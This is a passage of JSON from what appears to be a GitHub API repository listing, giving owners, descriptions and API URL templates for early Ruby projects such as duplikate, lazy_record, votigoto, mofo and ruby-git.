users/technoweenie/orgs","repos_url":"https://api.github.com/users/technoweenie/repos","events_url":"https://api.github.com/users/technoweenie/events{/privacy}","received_events_url":"https://api.github.com/users/technoweenie/received_events","type":"User"},"private":false,"html_url":"https://github.com/technoweenie/duplikate","description":"Syncs one directory to another (example: a git project to an svn repo)","fork":false,"url":"https://api.github.com/repos/technoweenie/duplikate","forks_url":"https://api.github.com/repos/technoweenie/duplikate/forks","keys_url":"https://api.github.com/repos/technoweenie/duplikate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/technoweenie/duplikate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/technoweenie/duplikate/teams","hooks_url":"https://api.github.com/repos/technoweenie/duplikate/hooks","issue_events_url":"https://api.github.com/repos/technoweenie/duplikate/issues/events{/number}","events_url":"https://api.github.com/repos/technoweenie/duplikate/events","assignees_url":"https://api.github.com/repos/technoweenie/duplikate/assignees{/user}","branches_url":"https://api.github.com/repos/technoweenie/duplikate/branches{/branch}","tags_url":"https://api.github.com/repos/technoweenie/duplikate/tags","blobs_url":"https://api.github.com/repos/technoweenie/duplikate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/technoweenie/duplikate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/technoweenie/duplikate/git/refs{/sha}","trees_url":"https://api.github.com/repos/technoweenie/duplikate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/technoweenie/duplikate/statuses/{sha}","languages_url":"https://api.github.com/repos/technoweenie/duplikate/languages","stargazers_url":"https://api.github.com/repos/technoweenie/duplikate/stargazers","contributors_url":"https://api.github.com/repos/technoweenie/duplikate/contributors","subscribers_url":"https://api.github.com/repos/technoweenie/duplikate/subscribers","subscription_url":"https://api.github.com/repos/technoweenie/duplikate/subscription","commits_url":"https://api.github.com/repos/technoweenie/duplikate/commits{/sha}","git_commits_url":"https://api.github.com/repos/technoweenie/duplikate/git/commits{/sha}","comments_url":"https://api.github.com/repos/technoweenie/duplikate/comments{/number}","issue_comment_url":"https://api.github.com/repos/technoweenie/duplikate/issues/comments/{number}","contents_url":"https://api.github.com/repos/technoweenie/duplikate/contents/{+path}","compare_url":"https://api.github.com/repos/technoweenie/duplikate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/technoweenie/duplikate/merges","archive_url":"https://api.github.com/repos/technoweenie/duplikate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/technoweenie/duplikate/downloads","issues_url":"https://api.github.com/repos/technoweenie/duplikate/issues{/number}","pulls_url":"https://api.github.com/repos/technoweenie/duplikate/pulls{/number}","milestones_url":"https://api.github.com/repos/technoweenie/duplikate/milestones{/number}","notifications_url":"https://api.github.com/repos/technoweenie/duplikate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/technoweenie/duplikate/labels{/name}"},{"id":118,"name":"lazy_record","full_name":"jnewland/lazy_record","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/lazy_record","description":"Proof of concept Lazy-Loading for ActiveRecord. Inspired by the 'kickers' of Ambition.","fork":false,"url":"https://api.github.com/repos/jnewland/lazy_record","forks_url":"https://api.github.com/repos/jnewland/lazy_record/forks","keys_url":"https://api.github.com/repos/jnewland/lazy_record/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/lazy_record/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/lazy_record/teams","hooks_url":"https://api.github.com/repos/jnewland/lazy_record/hooks","issue_events_url":"https://api.github.com/repos/jnewland/lazy_record/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/lazy_record/events","assignees_url":"https://api.github.com/repos/jnewland/lazy_record/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/lazy_record/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/lazy_record/tags","blobs_url":"https://api.github.com/repos/jnewland/lazy_record/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/lazy_record/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/lazy_record/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/lazy_record/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/lazy_record/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/lazy_record/languages","stargazers_url":"https://api.github.com/repos/jnewland/lazy_record/stargazers","contributors_url":"https://api.github.com/repos/jnewland/lazy_record/contributors","subscribers_url":"https://api.github.com/repos/jnewland/lazy_record/subscribers","subscription_url":"https://api.github.com/repos/jnewland/lazy_record/subscription","commits_url":"https://api.github.com/repos/jnewland/lazy_record/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/lazy_record/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/lazy_record/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/lazy_record/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/lazy_record/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/lazy_record/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/lazy_record/merges","archive_url":"https://api.github.com/repos/jnewland/lazy_record/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/lazy_record/downloads","issues_url":"https://api.github.com/repos/jnewland/lazy_record/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/lazy_record/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/lazy_record/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/lazy_record/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/lazy_record/labels{/name}"},{"id":119,"name":"gsa-feeds","full_name":"jnewland/gsa-feeds","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/gsa-feeds","description":"A Ruby wrapper for the Google Search Appliance Feeds Protocol","fork":false,"url":"https://api.github.com/repos/jnewland/gsa-feeds","forks_url":"https://api.github.com/repos/jnewland/gsa-feeds/forks","keys_url":"https://api.github.com/repos/jnewland/gsa-feeds/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/gsa-feeds/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/gsa-feeds/teams","hooks_url":"https://api.github.com/repos/jnewland/gsa-feeds/hooks","issue_events_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/gsa-feeds/events","assignees_url":"https://api.github.com/repos/jnewland/gsa-feeds/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/gsa-feeds/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/gsa-feeds/tags","blobs_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/gsa-feeds/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/gsa-feeds/languages","stargazers_url":"https://api.github.com/repos/jnewland/gsa-feeds/stargazers","contributors_url":"https://api.github.com/repos/jnewland/gsa-feeds/contributors","subscribers_url":"https://api.github.com/repos/jnewland/gsa-feeds/subscribers","subscription_url":"https://api.github.com/repos/jnewland/gsa-feeds/subscription","commits_url":"https://api.github.com/repos/jnewland/gsa-feeds/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/gsa-feeds/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/gsa-feeds/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/gsa-feeds/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/gsa-feeds/merges","archive_url":"https://api.github.com/repos/jnewland/gsa-feeds/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/gsa-feeds/downloads","issues_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/gsa-feeds/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/gsa-feeds/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/gsa-feeds/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/gsa-feeds/labels{/name}"},{"id":120,"name":"votigoto","full_name":"jnewland/votigoto","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/votigoto","description":"Ruby API wrapper for the TiVoToGo protocol. Use it to access a list of recorded shows and programs on your Tivo.","fork":false,"url":"https://api.github.com/repos/jnewland/votigoto","forks_url":"https://api.github.com/repos/jnewland/votigoto/forks","keys_url":"https://api.github.com/repos/jnewland/votigoto/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/votigoto/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/votigoto/teams","hooks_url":"https://api.github.com/repos/jnewland/votigoto/hooks","issue_events_url":"https://api.github.com/repos/jnewland/votigoto/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/votigoto/events","assignees_url":"https://api.github.com/repos/jnewland/votigoto/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/votigoto/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/votigoto/tags","blobs_url":"https://api.github.com/repos/jnewland/votigoto/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/votigoto/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/votigoto/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/votigoto/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/votigoto/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/votigoto/languages","stargazers_url":"https://api.github.com/repos/jnewland/votigoto/stargazers","contributors_url":"https://api.github.com/repos/jnewland/votigoto/contributors","subscribers_url":"https://api.github.com/repos/jnewland/votigoto/subscribers","subscription_url":"https://api.github.com/repos/jnewland/votigoto/subscription","commits_url":"https://api.github.com/repos/jnewland/votigoto/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/votigoto/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/votigoto/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/votigoto/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/votigoto/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/votigoto/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/votigoto/merges","archive_url":"https://api.github.com/repos/jnewland/votigoto/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/votigoto/downloads","issues_url":"https://api.github.com/repos/jnewland/votigoto/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/votigoto/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/votigoto/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/votigoto/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/votigoto/labels{/name}"},{"id":127,"name":"mofo","full_name":"defunkt/mofo","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/mofo","description":"Mofo was a fast and simple microformat parser, based on a concise DSL and Hpricot. No longer maintained.","fork":false,"url":"https://api.github.com/repos/defunkt/mofo","forks_url":"https://api.github.com/repos/defunkt/mofo/forks","keys_url":"https://api.github.com/repos/defunkt/mofo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/mofo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/mofo/teams","hooks_url":"https://api.github.com/repos/defunkt/mofo/hooks","issue_events_url":"https://api.github.com/repos/defunkt/mofo/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/mofo/events","assignees_url":"https://api.github.com/repos/defunkt/mofo/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/mofo/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/mofo/tags","blobs_url":"https://api.github.com/repos/defunkt/mofo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/mofo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/mofo/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/mofo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/mofo/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/mofo/languages","stargazers_url":"https://api.github.com/repos/defunkt/mofo/stargazers","contributors_url":"https://api.github.com/repos/defunkt/mofo/contributors","subscribers_url":"https://api.github.com/repos/defunkt/mofo/subscribers","subscription_url":"https://api.github.com/repos/defunkt/mofo/subscription","commits_url":"https://api.github.com/repos/defunkt/mofo/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/mofo/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/mofo/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/mofo/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/mofo/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/mofo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/mofo/merges","archive_url":"https://api.github.com/repos/defunkt/mofo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/mofo/downloads","issues_url":"https://api.github.com/repos/defunkt/mofo/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/mofo/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/mofo/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/mofo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/mofo/labels{/name}"},{"id":129,"name":"xhtmlize","full_name":"jnewland/xhtmlize","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/xhtmlize","description":"Rails helper to XHTML-ize chunks of user submitted HTML. For the standardista in all of us","fork":false,"url":"https://api.github.com/repos/jnewland/xhtmlize","forks_url":"https://api.github.com/repos/jnewland/xhtmlize/forks","keys_url":"https://api.github.com/repos/jnewland/xhtmlize/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/xhtmlize/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/xhtmlize/teams","hooks_url":"https://api.github.com/repos/jnewland/xhtmlize/hooks","issue_events_url":"https://api.github.com/repos/jnewland/xhtmlize/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/xhtmlize/events","assignees_url":"https://api.github.com/repos/jnewland/xhtmlize/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/xhtmlize/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/xhtmlize/tags","blobs_url":"https://api.github.com/repos/jnewland/xhtmlize/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/xhtmlize/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/xhtmlize/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/xhtmlize/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/xhtmlize/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/xhtmlize/languages","stargazers_url":"https://api.github.com/repos/jnewland/xhtmlize/stargazers","contributors_url":"https://api.github.com/repos/jnewland/xhtmlize/contributors","subscribers_url":"https://api.github.com/repos/jnewland/xhtmlize/subscribers","subscription_url":"https://api.github.com/repos/jnewland/xhtmlize/subscription","commits_url":"https://api.github.com/repos/jnewland/xhtmlize/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/xhtmlize/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/xhtmlize/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/xhtmlize/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/xhtmlize/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/xhtmlize/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/xhtmlize/merges","archive_url":"https://api.github.com/repos/jnewland/xhtmlize/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/xhtmlize/downloads","issues_url":"https://api.github.com/repos/jnewland/xhtmlize/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/xhtmlize/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/xhtmlize/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/xhtmlize/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/xhtmlize/labels{/name}"},{"id":130,"name":"ruby-git","full_name":"schacon/ruby-git","owner":{"login":"schacon","id":70,"avatar_url":"https://2.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https%3A%2F%2Fidenticons.github.com%2F7cbbc409ec990f19c78c75bd1e06f215.png","gravatar_id":"9375a9529679f1b42b567a640d775e7d","url":"https://api.github.com/users/schacon","html_url":"https://github.com/schacon","followers_url":"https://api.github.com/users/schacon/followers","following_url":"https://api.github.com/users/schacon/following{/other_user}","gists_url":"https://api.github.com/users/schacon/gists{/gist_id}","starred_url":"https://api.github.com/users/schacon/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/schacon/subscriptions","organizations_url":"https://api.github.com/users/schacon/orgs","repos_url":"https://api.github.com/users/schacon/repos","events_url":"https://api.github.com/users/schacon/events{/privacy}","received_events_url":"https://api.github.com/users/schacon/received_events","type":"User"},"private":false,"html_url":"https://github.com/schacon/ruby-git","description":"Ruby/Git is a Ruby library that can be used to create, read and manipulate Git repositories by wrapping system calls to the git binary.","fork":false,"url":"https://api.github.com/repos/schacon/ruby-git","forks_url":"https://api.github.com/repos/schacon/ruby-git/forks","keys_url":"https://api.github.com/repos/schacon/ruby-git/keys{/key_id}","collaborators_url":"https://api.github.com/repos/schacon/ruby-git/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/schacon/ruby-git/teams","hooks_url":"https://api.github.com/repos/schacon/ruby-git/hooks","issue_events_url":"https://api.github.com/repos/schacon/ruby-git/issues/events{/number}","events_url":"https://api.github.com/repos/schacon/ruby-git/events","assignees_url":"https://api.github.com/repos/schacon/ruby-git/assignees{/user}","branches_url":"https://api.github.com/repos/schacon/ruby-git/branches{/branch}","tags_url":"https://api.github.com/repos/schacon/ruby-git/tags","blobs_url":"https://api.github.com/repos/schacon/ruby-git/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/schacon/ruby-git/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/schacon/ruby-git/git/refs{/sha}","trees_url":"https://api.github.com/repos/schacon/ruby-git/git/trees{/sha}","statuses_url":"https://api.github.com/repos/schacon/ruby-git/statuses/{sha}","languages_url":"https://api.github.com/repos/schacon/ruby-git/languages","stargazers_url":"https://api.github.com/repos/schacon/ruby-git/stargazers","contributors_url":"https://api.github.com/repos/schacon/ruby-git/contributors","subscribers_url":"https://api.github.com/repos/schacon/ruby-git/subscribers","subscription_url":"https://api.github.com/repos/schacon/ruby-git/subscription","commits_url":"https://api.github.com/repos/schacon/ruby-git/commits{/sha}","git_commits_url":"https://api.github.com/repos/schacon/ruby-git/git/commits{/sha}","comments_url":"https://api.github.com/repos/schacon/ruby-git/comments{/number}","issue_comment_url":"https://api.github.com/repos/schacon/ruby-git/issues/comments/{number}","contents_url":"https://api.github.com/repos/schacon/ruby-git/contents/{+path}","compare_url":"https://api.github.com/repos/schacon/ruby-git/compare/{base}...{head}","merges_url":"https://api.github.com/repos/schacon/ruby-git/merges","archive_url":"https://api.github.com/repos/schacon/ruby-git/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/schacon/ruby-git/downloads","issues_url":"https://api.github.com/repos/schacon/ruby-git/issues{/number}","pulls_url":"https://api.github.com/repos/schacon/ruby-git/pulls{/number}","milestones_url":"https://api.github.com/repos/schacon/ruby-git/milestones{/number}","notifications_url":"https://api.github.com/repos/schacon/ruby-git/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/schacon/ruby-git/labels{/name}"},{"id":131,"name":"bmhsearch","full_name":"ezmobius/bmhsearch","owner":{"login":"ezmobius","id":5,"avatar_url":"https://1.gravatar.com/avatar/6a3a6e3da2d97be8df476187ff151f04?d=https%3A%2F%2Fidenticons.github.com%2Fe4da3b7fbbce2345d7772b0674a318d5.png","gravatar_id":"6a3a6e3da2d97be8df476187ff151f04","url":"https://api.github.com/users/ezmobius","html_url":"https://github.com/ezmobius","followers_url":"https://api.github.com/users/ezmobius/followers","following_url":"https://api.github.com/users/ezmobius/following{/other_user}","gists_url":"https://api.github.com/users/ezmobius/gists{/gist_id}","starred_url":"https://api.github.com/users/ezmobius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ezmobius/subscriptions","organizations_url":"https://api.github.com/users/ezmobius/orgs","repos_url":"https://api.github.com/users/ezmobius/repos","events_url":"https://api.github.com/users/ezmobius/events{/privacy}","received_events_url":"https://api.github.com/users/ezmobius/received_events","type":"User"},"private":false,"html_url":"https://github.com/ezmobius/bmhsearch","description":"Fast string searcher, useful for multi-part post parsing","fork":false,"url":"https://api.github.com/repos/ezmobius/bmhsearch","forks_url":"https://api.github.com/repos/ezmobius/bmhsearch/forks","keys_url":"https://api.github.com/repos/ezmobius/bmhsearch/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ezmobius/bmhsearch/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ezmobius/bmhsearch/teams","hooks_url":"https://api.github.com/repos/ezmobius/bmhsearch/hooks","issue_events_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues/events{/number}","events_url":"https://api.github.com/repos/ezmobius/bmhsearch/events","assignees_url":"https://api.github.com/repos/ezmobius/bmhsearch/assignees{/user}","branches_url":"https://api.github.com/repos/ezmobius/bmhsearch/branches{/branch}","tags_url":"https://api.github.com/repos/ezmobius/bmhsearch/tags","blobs_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/refs{/sha}","trees_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ezmobius/bmhsearch/statuses/{sha}","languages_url":"https://api.github.com/repos/ezmobius/bmhsearch/languages","stargazers_url":"https://api.github.com/repos/ezmobius/bmhsearch/stargazers","contributors_url":"https://api.github.com/repos/ezmobius/bmhsearch/contributors","subscribers_url":"https://api.github.com/repos/ezmobius/bmhsearch/subscribers","subscription_url":"https://api.github.com/repos/ezmobius/bmhsearch/subscription","commits_url":"https://api.github.com/repos/ezmobius/bmhsearch/commits{/sha}","git_commits_url":"https://api.github.com/repos/ezmobius/bmhsearch/git/commits{/sha}","comments_url":"https://api.github.com/repos/ezmobius/bmhsearch/comments{/number}","issue_comment_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues/comments/{number}","contents_url":"https://api.github.com/repos/ezmobius/bmhsearch/contents/{+path}","compare_url":"https://api.github.com/repos/ezmobius/bmhsearch/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ezmobius/bmhsearch/merges","archive_url":"https://api.github.com/repos/ezmobius/bmhsearch/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ezmobius/bmhsearch/downloads","issues_url":"https://api.github.com/repos/ezmobius/bmhsearch/issues{/number}","pulls_url":"https://api.github.com/repos/ezmobius/bmhsearch/pulls{/number}","milestones_url":"https://api.github.com/repos/ezmobius/bmhsearch/milestones{/number}","notifications_url":"https://api.github.com/repos/ezmobius/bmhsearch/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ezmobius/bmhsearch/labels{/name}"},{"id":137,"name":"mofo","full_name":"uggedal/mofo","owner":{"login":"uggedal","id":71,"avatar_url":"https://1.gravatar.com/avatar/0339e3df937c32000f9e2cf1de04298d?d=https%3A%2F%2Fidenticons.github.com%2Fe2c420d928d4bf8ce0ff2ec19b371514.png","gravatar_id":"0339e3df937c32000f9e2cf1de04298d","url":"https://api.github.com/users/uggedal","html_url":"https://github.com/uggedal","followers_url":"https://api.github.com/users/uggedal/followers","following_url":"https://api.github.com/users/uggedal/following{/other_user}","gists_url":"https://api.github.com/users/uggedal/gists{/gist_id}","starred_url":"https://api.github.com/users/uggedal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/uggedal/subscriptions","organizations_url":"https://api.github.com/users/uggedal/orgs","repos_url":"https://api.github.com/users/uggedal/repos","events_url":"https://api.github.com/users/uggedal/events{/privacy}","received_events_url":"https://api.github.com/users/uggedal/received_events","type":"User"},"private":false,"html_url":"https://github.com/uggedal/mofo","description":"Mofo is a fast and simple microformat parser, based on a concise DSL and Hpricot.","fork":true,"url":"https://api.github.com/repos/uggedal/mofo","forks_url":"https://api.github.com/repos/uggedal/mofo/forks","keys_url":"https://api.github.com/repos/uggedal/mofo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/uggedal/mofo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/uggedal/mofo/teams","hooks_url":"https://api.github.com/repos/uggedal/mofo/hooks","issue_events_url":"https://api.github.com/repos/uggedal/mofo/issues/events{/number}","events_url":"https://api.github.com/repos/uggedal/mofo/events","assignees_url":"https://api.github.com/repos/uggedal/mofo/assignees{/user}","branches_url":"https://api.github.com/repos/uggedal/mofo/branches{/branch}","tags_url":"https://api.github.com/repos/uggedal/mofo/tags","blobs_url":"https://api.github.com/repos/uggedal/mofo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/uggedal/mofo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/uggedal/mofo/git/refs{/sha}","trees_url":"https://api.github.com/repos/uggedal/mofo/git/trees{/sha}"